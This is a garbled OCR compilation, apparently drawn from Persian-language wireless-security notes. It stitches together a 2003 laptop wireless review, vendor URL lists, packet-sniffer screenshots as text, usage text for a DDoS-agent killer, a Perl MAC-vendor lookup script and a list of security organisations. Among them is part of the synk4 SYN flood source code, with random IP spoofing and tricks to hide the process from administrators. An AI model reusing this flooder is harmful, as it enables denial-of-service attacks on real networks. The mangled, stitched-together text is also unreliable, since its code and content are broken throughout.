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Wireless NoteBoka

Gateway 450X i

802.11g; 6.1 Ibs. system weight;
BatteryMark: 4:18; $1,620 list. 800-221-
9616, www.gateway.com. lllim

The thin and light Gateway 450X’s
wireless throughput scores

were solid, holding an

especially strong signal at

120 feet in “g” mode. Our recent
Editors’ Choice winner (“Back to
School,” August 19, page 90) is an
outstanding

choice for the business executive or
college

student on a campus with good wireless
coverage.

HP Pavilion zd7000
802.11g; 9.2 Ibs. system weight;
BatteryMark: 2:17; $2,399 direct.

800-752-0900, www.hp.com.
lllmm

Like the Apple and eMachines notebooks,
the HP Pavilion zd7000 will probably
never

commute farther than from the bedroom
to

the den. Its wireless performance was
very solid

at the 120-foot and 160-foot range, which
makes it

better if there’s only one access point
shared in a smalloffice

or home environment. Note that this is a
preproduction unit; look

for an updated review of this model in our
issue of November 25, 2003.




HP Compagq Presario
X1000

802.11b (Centrino); 6.5 Ibs. system weight;
BatteryMark: 3:39; $1,599 direct. 800-752-
0900, www.hp.com. llimm

The HP Compagq Presario X1000 is an
admirable system, yet you may want to
wait for the upgrade. Since it's “b”
only, its wireless performance

was sub par. And though its

battery life was decent

at 3:39, its 6.5-pound

system weight doesn’t

scream portability.

HP Pavilion ze5300

802.11b; 8.1 Ibs. system weight;

Battery Mark: 1: 50; $1,749 direct. 800-752-
0900, www.hp.com. llmmm

The HP Pavilion ze5300 is an 8.1-pound
heavyweight that is meant to

stay plugged in and

on your desk. Its

battery performance

was less than 2 hours,

probably due to its desktop

processor, and its wireless

signal was unimpressive.

Toshiba Satellite Pro M15-
S405

802.11b (Centrino); 6.7 Ibs. system weight;
BatteryMark: 5:29; $1,849 list. 800-867-4422,
www.csd.toshiba.com. lllmm

The Toshiba Satellite Pro M15-S405
offers a good

blend of power and performance. It
posted an

impressive 5:29 for battery life, so you
don't

need to tote an adapter around, which
is good since the notebook

weighs in at 6.7 pounds. Its
throughput held up quite

strongly up to 160 feet, despite

its “b”-only wireless solution.




IBM ThinkPad R40

802.11a/b; 6.4lbs. system weight;
BatteryMark: 5:28; $2,249 direct. 888-740-
7426, www.ibm.com. lllim

The R40 delivers high quality and sturdy
design, and its 5:48 battery life is
one of the best we've

seen. It is also one of

the few notebooks to

incorporate an “a/b”

wireless solution, so no

matter what network you're

near, you've got wireless covered.

Apple PowerBook
G4 (17-inch)

Wireless solution: 802.11g; 6.8 Ibs.
system weight; DVD playback: 2:22;
$3,299 list. 800-692-7753,

www.apple.com. llimm
This was one of the first

notebooks to move

to the 802.11g

wireless standard.

Though incompatible

with our standard

PC-based wireless tests, in

informal testing its signal reached

up to 140 feet, and its DVD playback
lasted 2:22, which is enough for most
movies.

This system isn't really meant to be
carted around

daily. As a desktop replacement, it's a
rock-solid system.




Dell Latitude
X300

802.11g; 3 Ibs. system
weight; BatteryMark:
2:20; $1,985 direct. 800-
388-8542, www.dell.com.
lim

The Dell Latitude X300 is a very

good choice for those who want

prime performance with premium
portability. On our tests, its wireless
performance held strong out to 160 feet,
and

its battery performance was decent.

eMachines
M5310

802.11g; 6.6 Ibs. system

weight; BatteryMark: 2:19;

$1,1909 list. 714-481-2828,
www.emachines.com. [lmmm

Just a bit smaller than the Apple
PowerBook G4 (17-inch), the eMachines
M5310, with its 15-inch-wide screen, is
still a

hefty notebook that won't travel often far
from the

office or home. The M5310’s wireless
performance was

a bit weaker than that of our other “g”
notebooks but still satisfactory. The
power drain from its wide-screen display
led to less than 3 hours of battery life.

Fujitsu LifeBook S2000
802.11g; 4.3 Ibs. system weight;
BatteryMark: 3:17; $1,990 street. 877-
372-3743, www.fujitsupc.com.

Illim

This 4-pounder has a

built-in optical drive—a

rare find in an ultraportable

category. Wireless performance

was impressive, particularly its
throughput at 120 feet. Add to that a 3-
hour-plus battery life and this is a top
choice for any executive who travels
frequently.
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http://www.netgear.com
http://www.zyxel.com
http://www.linksys.com



http://www.dlink.com
http://www.smc.com
http://www.netgear.com



http://www.dlink.com
http://www.belkin.com
http://www.linksys.com



http://www.buffalotech.com
http://www.netgear.com



http://www.sprintpcs.com;
http://www.t-mobile.com
http://www.sprintpcs.com
http://www.hp.com

Bluetooth

Wireless, up close and personal



http://www.palm.com
http://www.sony.com/clie



http://www.hp.com
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24" Channels

----- @ 000124F0457A,
----- @ 00045ADF0RAS
----- @ 00045ACFERTF
----- @ 000454000021
----- @ 00045ADARTEY
----- @ 000550A7356A,
----- @ 0030AB07EOTE
----- @ 0030AB07EIEN
----- @ 0040050F9264,
----- @ 0040963A5E0F
LS 10409640C546
----- @ 00409648C234,
[]"'[(g"r] 10

R

w2k S5I0s

5-5F Filters

Feady [Mot zzanming |GPS: Disabled ‘

it aS (sileMbl 505 b g s)lucel sla o,lS sla vl o)lecs Jlis @y lewis S
JiSew w8 GadlS o Guldl 4 azgi b swiwd gt o Ju 9 5, W WSy
wass Jwgy, ol 393> (sJoausla,w @ esls Sniff wldoee a4 w)slo oo b, sla
o> Aisaad 030w Encrypt ohge a0 (sJlwl wleMbl el aS Lol 5l sl pd uld
@ Saeo wleMbl 802.11 »5)lubowl 5l Mo swols> Sla Frame  us,S Capture L

500 Judlgz Cows
5L 9 pls Ol @ sl ABMe pd o 595 aS gy ol L W sl SLuSs 5l S
Syl puogi Cowl i Sgy OIS 1w S esls Sygl o> ol @88 Llgx> Ul 5l el
sliw,d Jlio H9b ay wleMbl Jluw)l oEid 5 aS 1,y BT diwoy il Ulaaxio
a d osly cwl oSy wiw 1> U 50, aodS 9 S,u,8 Ll Sol> as osls Packet S,
Oygo 4 &uo Uled L Destination > U aS xgw sw Jluw,l Encrypt w90
LS s Jlwyl 00iS cwle>)y 4 daio el aS (uls> > 3l sw > Decrypt
S5 hsd g g,y i LS A wluas Sl osls Respond e Sy s aSil ele a4 wlel
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aSoly s d wSy Sy, 5l ed Encryption aS cowl iyl LI 9 Ngs (s OIS ow
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The Ethereal Network Analyzer HEE
File Edit Capture Display Tools Help
No.lTime ISource IDestination lF'rotocoI |Inf0 R
99 o7 2 JL i e v La T2 i = A WS . T3 .19 AaTTF ATTF L. L 53U TMOD TOUTT TEL
45 68.656766 213.206.75.252 192.168.254.14 HTTP HTTP/1.1 304 wot mModified
46 a8, 706840 213.206.75.252 152.168.254.14 HTTP HTTP/1.1 304 Not Modified
47 6B, B475E7 213.206.75.252 152.168.254.14 HTTP HTTP/1.1 304 Not Modified
48 69.004719 213.206.75.252 192.168.254.14 HTTP HTTF/1.1 304 nNot Modified
49 72.7459324 192.168.254.254 192.168.254.14 DHCP DHCP ACK - Transacti
50 77744638 westerrn_90:08:92 Agere_2bra?:al ARP who has 192.168.254.147
51 F9.047534 204.156.128.1 152.168.254.14 DNS Standard query response A
54 Hd.Ba5850 09100, 2044 192,168, £54.14 TCF B0 > 1139 [FIN, ACK] Seg=

53

L 032235 213.206.75.252 152.168.254.14 TCP 830 » 1141 [FIN, ACK] Seg=

54 L 033337 213.206.75.252 152.188. TCP 80 » 1142 [FIN, ACK] Seqg=
55 L 937573 204, L128.1 152.168. DNS standard query response A
56 1 DNS Standard guery response A

i

58

F MES

145. 027857 S0:08:92 agere_2h:av: who has 102.168.254.147 |
59 159.966438 204.156.128.1 192.168.254.14 DNZ standard query response A [
[--1 ] =
EFrame 57 (374 on wire, 374 captured) &
Ethernet II
E Internet Protocol, Src Adde: 204.156.128.1 (204.156.128.10, Dst Addr: 192.168.254.14 (192.168.2
B User Datagram Protocol, Src Port: 53 (530, Dst Port: 1146 (1144)
Source port: 53 (530
pestination port: 1145 (1146) |
Length: 340
Checksum: 0xd75e (correct)
E Domain Name System (response)
Transaction ID: Ox000L1
B Flags: 0xB180 (standard auery response, No errorl 4
[--1 -
Qoo 00 02 2d 2b a7 a0 00 00 <O 90 08 92 08 00 45 00 B T T E. &
0010 0l 568 96 99 00 00 30 11 &7 95 <c 9c 80 0L <O ag P 1 P ¢ TR
o200 fe Oe 00 35 04 7a 01 54 c7 52 00 01 81 80 00 01 e D BT A i
Filter:“ /| Reset“ <live capture in progress=
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» L all) ;50 as cowl DDOS 038> 5 WBgye0 Sl il 51 (6Su 950 Aol
S @ ) Svasin S wowlgs )y aS S sw Llslg S,gb Sub Domain (S
o b 3,00 590w WLSI LIS 5l cel b wowles)> saei dsow,9 Lol Sgw
390 b=l puSeid S Jlaoys 51 68y 5> 0L LIl ol sew

Zombie Zapper Commands
When compiled, Zombie Zapper is designed to be run by using the ./ command.

If you enter ./zz without any arguments, you will receive the following:
.l zz

Zonbi e Zapper v1.2 - DDoS kil ler

Bugs/ comrents to thegnonme@ azor . bi ndvi ew. com

More info and free tools at http://razor. bi ndvi ew. com

Copyright (c) 2000 Bi ndVi ew Devel opnent

=== You nust specify target(s) or a class Cto send to

USACE:

.lzz [-a 0-5] [-c class C] [-d dev] [-h] [-mhost] [-s src] [-u udp]
[-v] hosts

-a antiddos type to kill:

0 types 1-4 (default)

1 trinoo


mailto:thegnome@razor.bindview.com
http://razor.bindview.com

2 tfn

3 stachel draht

4 trinoo on W ndows

5 shaft (requires you use the -m option)

-c class Cin x.x.x.0 form

-f time in seconds to send packets (default 1)
-d grab local IP fromdev (default ethQ)

-h this help screen

-mny host being flooded (used with -a 5 above, only one host)
-s spoofed source address (just in case)

-u UDP source port for trinoo (default 53)

-v verbose node (use twi ce for nore verbosity)
host (s) are target hosts (ignored if using -c)

L il b gy 5505 b ,LS e Ping  Jio 5,05 599 DDOS )5 o S50 S g,
Cowld U9y (U dgb.uo _j| Sy aS SYN Flood pl) L LS9, lgg S Ulzisl PO

Cowl 505 JSo au SYN Flood aol s aS S5 5l Csvownd
/* Syn Fl ooder

TCP Functions by trurl_ (thanks nan).

Sonme nore code by Zakat h.

Speed/ M sc Tweaks/ Enhancnents —ultima

Nice Interface —ultinma

Random | P Spoofing Mbde —ultima

How To Use:

Usage is sinple. srcaddr is the IP the packets will be spoofed from
dstaddr is the target machine you are sending the packets to.

| ow and high ports are the ports you want to send the packets to.
Random | P Spoofi ng Mbde: Instead of typing in a source address,
just use '0'. This will engage the Random | P Spoofing node, and
the source address will be a randomIP instead of a fixed ip.

Rel eased: [4.29.97]

To conmpile: cc -0 synk4 synk4d.c

I . A T T R

#i ncl ude <signal . h>

#i ncl ude <stdio. h>

#i ncl ude <netdb. h>

#i ncl ude <sys/types. h>

#i ncl ude <sys/tinme.h>

#i ncl ude <netinet/in.h>

#i ncl ude <linux/ip.h>

#i ncl ude <linux/tcp.h>

/* These can be handy if you want to run the flooder while the admin is on
* this way, it nmakes it MJCH harder for himto kill your flooder */
/* lgnores all signals except Segfault */

/| #define HEALTHY

/* lgnores Segfault */

/| #define NOSEGY

/* Changes what shows up in ps -aux to whatever this is defined to */
/| #define H DDEN "vi .cshrc"

#define SEQ 0x28376839

#define getrandom(min, max) ((rand() % (int)(((max)+1l) - (mn))) + (mMn))
unsi gned | ong send_seq, ack_seq, srcport;

char flood = 0;

int sock, ssock, curc, cnt;

/* Check Sum */

unsi gned short

i p_sum (addr, |en)

u_short *addr;

int |en;

{

register int nleft = len;

regi ster u_short *w = addr;

register int sum= 0;

u_short answer = 0;

while (nleft > 1)

{
sum += *wa+;
nleft -= 2;

}
if (nleft == 1)
{



*(u_char *) (&answer) = *(u_char *) w

sum += answer;

}

sum = (sum >> 16) + (sum & Oxffff); /* add hi 16 to |low 16 */
sum += (sum >> 16); /* add carry */

answer = ~sum /* truncate to 16 bits */
return (answer);
}

void sig_exit(int crap)

{

#i f ndef HEALTHY

printf("_[H[JSignal Caught. Exiting C eanly.\n");
exit(crap);

#endi f

}

voi d sig_segv(int crap)

{

#i f ndef NOSEGV

printf("_[H[JSegnentation Violation Caught. Exiting Ceanly.\n");
exit(crap);

#endi f

unsi gned | ong getaddr(char *nane) {
struct hostent *hep;
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2: Shut Up

3: BitchSlap
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GFI Languard SecurityScanner alo> 0 Julos

£1 GFI LANguard Network Security Scanner ¥(3.2) Hi=] E3 I
Fle Edt View Scan Patches Tools LANguard Traw Help

Q8 D0 E EMA '*|@ = | & | & | teoe Zfiori92201

ER T 10.11.12201 [ 0] [wi
=1 8] SMMP [system)
5 speDezer: Cizco AP34011.10T1
[# spslpTime : 6 days. 13 houes, 55 minues, 17 seconds
14 syeContact ; Akoret Wieless Communizations, In
[F spsMame: ap
[# Object ID ;1.2 345678500 [Cizco CAP341)
A “endor: cizco
[# Time tolve [TTL): 54 [64) - Same nelwaork seqment
=l TCP Paits (2)
@ 23] Telnet =» Remaote Login Pratocel |
[l 80 [ Hitp =3 \eorld Wide Web, HTTP | thatpd/2.03 115433
= & UDP Postz [2)
@ 63| bootpe = Bootstiap Prolocol Clert |
@ 161 [ SMMP =3 Simple Metwork M anagement Frotocol |
= iﬂ Aileits [2)
=L Servioe Al [2)
= ﬂ_] SHMP zerace iz enabled on this bast
i [ Desciiptioe: Numenous vuesbilities have been teported in rultiohs vendoes' SHNMP
; &) Bugirag ID/URL : hitp:/fveas, cert, onoad vizones CA-2002-02 bl
= ij_| Telnel service is wnning
[ Desciipbion ; Thiz servics iz dangerous becauss it doesnt encivpt data. Sengitive infor

1l | i3 |
|Ready | S




L) 30,8 Csw b9 oslawl 5590 U839 Ui seb @ aS |, suld SSID 5l (svasy asiles s Wldgl yidy 5>
aSa LS.AQI)J uaxod 9 RF pu=x> 9 w\]gb qul.u)| o> )| sla Syl LLA.MJI )| Awlos oslawl
.\J|9J S\o \Sb).]a> )L;_u.u aS puw v s asow s _)I)Jl A SS9 Sawiwd— 0D 30, S
9 A uos=0 s |y oaiw,d B Gwl b W Access point Jio b 1l W S, ulo Jlio ,eb @y ail
d> 518 pusws >

oleMbl b aS (soliowgs il sw dléo ol adaw 5l 55,1, MAC Address  Sa @ bgyyo Jlas

WBaoj ol > 95w &S i Sl White paper 5l ailgs (swo 3isawd o aBMe digoj ol 5> S iinn
o ax U g S, ax 5l csuansly zleel 0355Lw aS 15w (v udlgzy 31 b Heb @y 2iuS oslesiwl

.J\.o).n| u-‘l kSl)J gy Eg) ol sls Syl u.._w| Jlos a4 £9.090 u-‘l)l Q\DIS|J| Ay .\.u|_9.; o Cowl
S oslaiwl MAC Address (sulbwlicw 5l awslgs
#1 [ usr/ bi n/ per|

nmy %ards;
nmy % ps;

open(ARP, "arp -an|") || die "Couldn't open arp table: $!'\n";

print "Looking up QUIs.";
whi | e( <ARP>) {

chonp;

ny $addr = $_;

ny $ip=9%_;

$addr =~ s/.* ([\d\w] +: [\d\w] +:[\d\w] +):.*/$1/;
$addr =~ s/\b([\d\w])\b/0$1/g;

$addr =~ s/:/-/g;
next unless $addr =~ /..-..-../;

$ip =~ s/.*?2(\d+H\ . \d+H\ . \d+H\ . \d+) . */$1/;
print ".";
$cards{$addr}||="curl -sd 'x=$addr' http://standards.ieee. org/cgi-bin/[ RETURN] oui search”;
($cards{%addr} =~ /Sorry!/) && ($cards{$addr} = "Unknown OUI: $addr");
$i ps{$i p} = $addr;
}
print "\n";
for(keys(% ps)) {
$cards{$i ps{$_}} =~ s/.*.hex.\s+([\whs\,\.]+)\n.*/$1/s;
print "$_ -> $cards{$ips{$_}}\n";
}

Gl OLLes 515 Wygeas 00l Cows guls WS s>l 5l sy
rob@l orian: ~$ perl machines. pl

10. 15. 6. 98 -> Conpaq Conputer Corporation

10.15.6.44 -> Aironet Wrel ess Comuni cation
10.15.6.64 -> Aironet Wrel ess Communi cation
10. 15.6.49 -> APPLE COVWUTER, | NC.

10. 15.6.75 -> Netgear, Inc.

10. 15.6.87 -> APPLE COVWPUTER, | NC.

10. 15.6.62 -> Senao International Co., Ltd.

)8 Loy Sub Domain > (sewS ax aS Juopsy Adlgzy aSow i Ulgie a4 Lo
Lowis @l > (silwS ax aS 2w oy wdlao Gul U awlgi (sw osLw Ping S5 L sl

0 5158
S oslaiwl Ipconfig Hgiws @ L)l 5l gMbl iy,
rob@Ilorian:~$ ifconfig ethO
et hO Li nk encap: Et hernet HWAddr 00: 40: 63: CO: AA: 4B
inet addr:10.15.6.1 Bcast: 10.15. 6. 255 Mask: 255. 255. 255. 0
UP BROADCAST RUNNI NG MULTI CAST MrIU: 1500 Metric:1
RX packets: 13425489 errors: 0 dropped: 33 overruns: 0 frane: 0
TX packets: 19603221 errors: 1118 dropped: 0 overruns: 0 carrier:0
col l'i sions: 0 txqueuel en: 100
RX byt es: 3073225705 (2930.8 M) TX bytes: 1301320438 (1241.0 M)
Interrupt: 10 Base address: 0xe800

rob@aligula:~$ ifconfig enl
enl: flags=8863<UP, BROADCAST, SMART, RUNNI NG SI MPLEX, MULTI CAST> ntu 1500
inet6 fe80::230:65ff:fe03:e78a%nl prefixlen 64 scopeid 0x5


http://standards.ieee.org/cgi-bin/

inet 10.15.6.49 netmask Oxffffff00 broadcast 10.15.6.255
et her 00:30: 65: 03: e7: 8a
medi a: aut osel ect status: active

supported media: autoselect

DD (5o ép*ulg ) Ch&;DLo ity S 5w alh>\o CC;_g}kﬁlxua

rob@al igula:~$ ifconfig enl
enl: flags=8863<UP, BROADCAST, SMART, RUNNI NG SI MPLEX, MULTI CAST> ntu 1500
inet6 fe80::230:65ff:fe03:e78a%nl prefixlen 64 scopeid 0x5
inet 10.15.6.49 netmask Oxffffff00 broadcast 10.15.6.255
et her 00: 30: 65: 03: e7: 8a
medi a: aut osel ect status: active
supported nedi a: autosel ect
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PDA for Hacking
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« Convergence of heterogenecus wirgless networks with ’\__.7%.';\-"
varying transmission characteristics S

* Required key functionaliies: F

« Vertical handover
* hdaptive service

vertical

handover (macre-cell)

{micro-cell)

in-building horizontal handover
(pica-cell)
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3G 4G
= Data Rates of 100 Kbps to 2 Mbps = Data Rates up to 100 Mbps

* Goal is "to provide multimedia = Expansion on the 3G goal to provide
multirate mobile communications a wider range of new And improved
anytime and anywhere , multimedia services ,

= Connection between the cellular = Integration of broadcast , cellular ,
world and the wired Internet cordless , Wireless LAN , short — range
firmly established . and fixed wire System to appear as a
single seamless network .

= Mobile devices used mainly for = Not only the 3G modes of communication
human- to human And but also Characterized by a great deal
Human- to — Machine communication . | of machine- to- Machine traffic .
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Security Sites

By COllectOr

Organizations:

AICPA The American Institute of Certified Public Accountants, www.aicpa.org

ANSI American National Standards Institute, www.ansi.org

ASBDC-US The Association of Small Business Development Centers, www.asbdc-us.org
BITS - The Technology Group for The Financial Services Roundtable, www.bitsinfo.org
BR Business Roundtable, www.businessroundtable.org

BSA Business Software Alliance, www.bsa.org/usa

BSI British Standards Institute, www.bsi.org.uk

BSI - Bundesamt fur Sicherheit in der Informationstechnik, www.bsi.bund.de

CERT Computer Emergency Response Team, www.cert.org

CIAQO Critical Infrastructure Assurance Office (formerly U.S. Dept. of Commerce, now IAIP of
DHS)

CICA Canadian Institute of Chartered Accountants www.cica.ca

CIS The Center for Internet Security, www.cisecurity.org

CMU Carnegie Mellon University, www.cmu.edu COSO Committee of Sponsoring Organizations
for the Commission on Fraudulent Financial Reporting

(Treadway Commission), www.coso.org DHS Department of Homeland Security, www.dhs.gov
DISA - Defense Information Systems Agency www.disa.mil

FFIEC Federal Financial Institutions Examination Council, www.ffiec.gov

FSR Financial Services Roundtable, www.fsround.org

FTC - Federal Trade Commission, www.ftc.gov

GAISPC Generally Accepted Information Security Principles Committee, www.issa.org/gaisp.html
IAIP Information Assurance and Infrastructure Protection Directorate of the DHS, (See
www.dhs.gov.)

ICAEW Institute of Chartered Accountants in England & Wales, www.icaew.co.uk

ICC International Chamber of Commerce, www.iccwbo.org

IFAC International Federation of Accountants, www.ifac.org

IIA The Institute of Internal Auditors, Inc. (and IIA Research Foundation), www.ThellA.org
ISA Internet Security Alliance, www.isalliance.org

ISACA The Information Systems Audit and Control Association, www.isaca.org

ISF Information Security Forum, www.securityforum.org

ISO International Organization for Standardization, www.iso.org

ISSA Information Systems Security Association, www.issa.org

NACD National Association of Corporate Directors, www.nacdonline.org

NCSA National Cyber Security Alliance, www.staysafeonline.info

NERC North American Electric Reliability Council www.nerc.com

NIST National Institute for Standards and Technology, www.nist.gov

NSA National Security Agency, www.nsa.gov

OECD Organization for Economic Cooperation and Development, www.oecd.org

PCAOB Public Company Accounting Oversight Board, www.pcaobus.org

SANS Systems Administration, Audit, and Network Security Institute, www.sans.org

SEC Securities & Exchange Commission, www.sec.gov

SEI Carnegie Mellon University Software Engineering Institute, www.sei.cmu.edu

SNAC Systems and Network Attack Center (NSA), www.nsa.gov/shac

US-CERT U.S. Computer Emergency Readiness Team, www.us-cert.gov

WB World Bank, www.worldbank.org
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